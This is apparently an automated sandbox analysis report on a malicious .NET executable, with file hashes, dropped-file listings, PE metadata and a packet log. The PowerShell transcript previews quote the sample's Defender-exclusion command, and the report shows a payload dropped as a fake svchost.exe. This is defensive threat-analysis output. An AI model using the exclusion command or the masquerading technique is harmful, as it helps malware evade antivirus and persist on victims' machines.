SHA-256:	F5782A22B43FA86B0F2FE3AE18747CD303B4FCE8EC9B9405993BF4F7270EA14A
SHA-512:	567D1876B4FD16D28DDC5A820C28E08C56D6469DA5CB684F3D0BEFAE757D67940CF8791157DCA03B60F203C733E0D9DF21FDB4340386E13EFD149B422DEFC2D5
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210408110230..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216554 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Users\user\Desktop\lfQuSBwdSf.exe -Force..Process ID: 720..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210408110231..********************..PS>Add-MpPreference -ExclusionPath C:\Users\user\Desktop\lfQuSBwdSf.exe -Force..

C:\Users\user\Documents\20210408\PowerShell_transcript.216554.Pgu86VMD.20210408110201.txt Download File
Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	862
Entropy (8bit):	5.359412750263977
Encrypted:	false
SSDEEP:	24:BxSAYxvBndx2DOXUWeSuMG1OWXHjeTKKjX4CIym1ZJXZuMG1C:BZsvhdoO+SqPXqDYB1Zzqg
MD5:	668F65C7B522C96ACB85A8AAF637EF96
SHA1:	56D58F4E00C02FBC9E5356CB0F41AAC8F39AE683
SHA-256:	75FCC43B2DB59D46B2645D868015C09830BC71A423251C9DA05C6D45584528AB
SHA-512:	1369B9032D0A3840191BDB50068959A32E7142D3DE22AE44BAE0B5B287255E52BBF8EA2C147A753A4D4ED561C6C4C81C60EB19DCE1B164810D10DFF48AEAA05B
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20210408110225..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 216554 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe -Force..Process ID: 1004..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20210408110226..********************..PS>Add-MpPreference -ExclusionPath C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe -Force..

C:\Users\user\WrdAHTtKmtDmuc Download File
Process:	C:\Users\user\Desktop\lfQuSBwdSf.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5832256
Entropy (8bit):	3.076288730928143
Encrypted:	false
SSDEEP:	12288:g/K5NquGjzowGM2Qn7QJi/7goLuPp393mcN6z03z9aLIG6ades08zoX4sm21Tgtk:Te8zlte8zld6StGZPve8zld6StGZPT
MD5:	41E25385DEA56C5FFE7F052EA7EC9865
SHA1:	B2B5504C508D07EC073718C953237A265F37B3A9
SHA-256:	C941110415F3819464D4A8D0A8EA8B7CA31FB22C576EBD850DD2F24AA55D118F
SHA-512:	76A0D7A15DF9595B82723D1A0696F57423683506FD40F73FB66974BE770BCD379908FB26D735E38547C5429B985A18130F52C997738D83EF274350BCBE95659B
Malicious:	false
Preview:	77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 80 69 0 0 76 1 3 0 76 142 41 180 0 0 0 0 0 0 0 0 224 0 34 0 11 1 80 0 0 114 13 0 0 6 0 0 0 0 0 0 110 144 13 0 0 32 0 0 0 160 13 0 0 0 0 128 0 32 0 0 0 2 0 0 4 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0 224 13 0 0 2 0 0 0 0 0 0 2 0 64 133 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 32 144 13 0 75 0 0 0 0 160 13 0 212 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 192 13 0 12 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 8 0 0 0 0 0 0 0 0 0 0 0 8 32 0 0 72 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 116 112 13 0 0 32 0 0 0 114 13 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0

C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe Download File
Process:	C:\Users\user\Desktop\lfQuSBwdSf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46080
Entropy (8bit):	5.842547697365067
Encrypted:	false
SSDEEP:	384:GrrHzbTWuxdvMvNZeA7JLtNnE27w/yvej5VLUJflhAtRtkDo3mC05aESzAdG4caM:GrrHzbJx4so8yiGfluTcU
MD5:	0802967C1D72DEEB4E1B79AF74FDB553
SHA1:	F8EDBBED8318311F070167C73FCCA9F63F79C905
SHA-256:	201872C79F07606D9874BC471ACF1999E0EEF0703E73C71A4A297EB56C70BCFB
SHA-512:	7566FF29FD3D743AD92543540A42AEC7731B996D171A0197971812396B8221387495F8AC1606D647ABDB888B630D1273C4207A800FA886CCB1E59029D1B86153
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..h...J........... ........@.. ....................... ............@....................................O.......dF...........r............................................................... ............... ..H............text...$f... ...h.................. ..`.rsrc...dF.......H...j..............@..@.reloc..............................@..B........................H........5...P...........................................................".(.....Vs....(....t.........".(.....R.(.......s....}....6.(....o,........0...........~.....+....0..9........r...p..((....r...p.(......(......,...(.....+..~.....+......0..#........r...p..((....r...p.(.......(.......0..9........s.....+........o....o.....o....,...o........o....o.........0...........(....o.....+.+........*.0.. ........r#..p.+..........s......%r9..p .........%.r...p.%.r...p.%.r...p

C:\Windows\Cursors\WQzhTjfBsYrOnkh\svchost.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\lfQuSBwdSf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.842547697365067
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	lfQuSBwdSf.exe
File size:	46080
MD5:	0802967c1d72deeb4e1b79af74fdb553
SHA1:	f8edbbed8318311f070167c73fcca9f63f79c905
SHA256:	201872c79f07606d9874bc471acf1999e0eef0703e73c71a4a297eb56c70bcfb
SHA512:	7566ff29fd3d743ad92543540a42aec7731b996d171a0197971812396b8221387495f8ac1606d647abdb888b630d1273c4207a800fa886ccb1e59029d1b86153
SSDEEP:	384:GrrHzbTWuxdvMvNZeA7JLtNnE27w/yvej5VLUJflhAtRtkDo3mC05aESzAdG4caM:GrrHzbJx4so8yiGfluTcU
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..h...J........... ........@.. ....................... ............@................................

File Icon


Icon Hash:	30828a8c8c828010

Static PE Info

General
Entrypoint:	0x40861e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0xEDF52E0E [Wed Jul 4 19:25:02 2096 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85cc	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa000	0x4664	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x7200	0x14e0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x10000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x6624	0x6800	False	0.332594651442	data	6.27050186695	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0xa000	0x4664	0x4800	False	0.14892578125	data	4.10630489014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x10000	0xc	0x200	False	0.044921875	data	0.0815394123432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0xa130	0x4028	dBase III DBT, version number 0, next free block index 40
RT_GROUP_ICON	0xe158	0x14	data
RT_VERSION	0xe16c	0x30c	data
RT_MANIFEST	0xe478	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2021
Assembly Version	1.0.0.0
InternalName	Dimbono.exe
FileVersion	1.0.0.0
CompanyName
LegalTrademarks
Comments
ProductName	Dimbono
ProductVersion	1.0.0.0
FileDescription	Dimbono
OriginalFilename	Dimbono.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 11:01:44.745105028 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.763072014 CEST	80	49700	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.763185978 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.763689041 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.781486988 CEST	80	49700	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.789665937 CEST	80	49700	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.848814011 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.866358995 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.866476059 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.889404058 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.906951904 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.910037994 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.910068989 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.910156965 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.916479111 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.934339046 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.934370995 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:44.954818010 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:44.987306118 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.005022049 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206446886 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206482887 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206516981 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206542969 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206549883 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.206568956 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206583977 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.206603050 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206630945 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206648111 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.206655979 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206696033 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.206815004 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206837893 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.206882000 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.206965923 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.267350912 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.393932104 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.393970966 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.393992901 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394015074 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394033909 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394063950 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.394104958 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394110918 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.394150019 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.394181013 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394301891 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394324064 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394342899 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.394848108 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394895077 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.394906044 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.395047903 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.395072937 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.395092010 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.395802975 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.395831108 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.395853043 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.395860910 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.395896912 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.395900965 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.396452904 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.396483898 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.396512032 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.396574974 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.396599054 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.396609068 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.397416115 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.397454023 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.397475004 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.397476912 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.397500038 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.397509098 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.398221016 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.398251057 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.398266077 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.398274899 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.398303032 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.398320913 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.399104118 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399136066 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399157047 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.399213076 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399233103 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399250031 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.399724007 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399749994 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399769068 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.399821997 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.399857998 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.399858952 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.400578022 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.400609970 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.400633097 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.400635004 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.400672913 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.412417889 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.412455082 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.412477016 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.412498951 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.412519932 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.412566900 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.413171053 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.413202047 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.413228989 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.413230896 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.413254023 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.413284063 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.413937092 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.413970947 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.413990021 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.413994074 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.414019108 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.414040089 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.414757967 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.414808035 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.414819956 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.414846897 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.414894104 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.414906025 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.415576935 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.415608883 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.415632010 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.415638924 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.415666103 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.415743113 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.416354895 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.416403055 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.416512012 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.416537046 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.416557074 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.416574001 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.417052031 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.417079926 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.417093992 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.417145967 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.417179108 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.417198896 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.417975903 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.418005943 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.418029070 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.418035030 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.418065071 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.418076038 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.418927908 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.418984890 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.418991089 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.419065952 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.419101954 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.419102907 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.419651985 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.419678926 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.419703960 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:45.419713020 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:45.419725895 CEST	443	49701	104.21.56.119	192.168.2.3
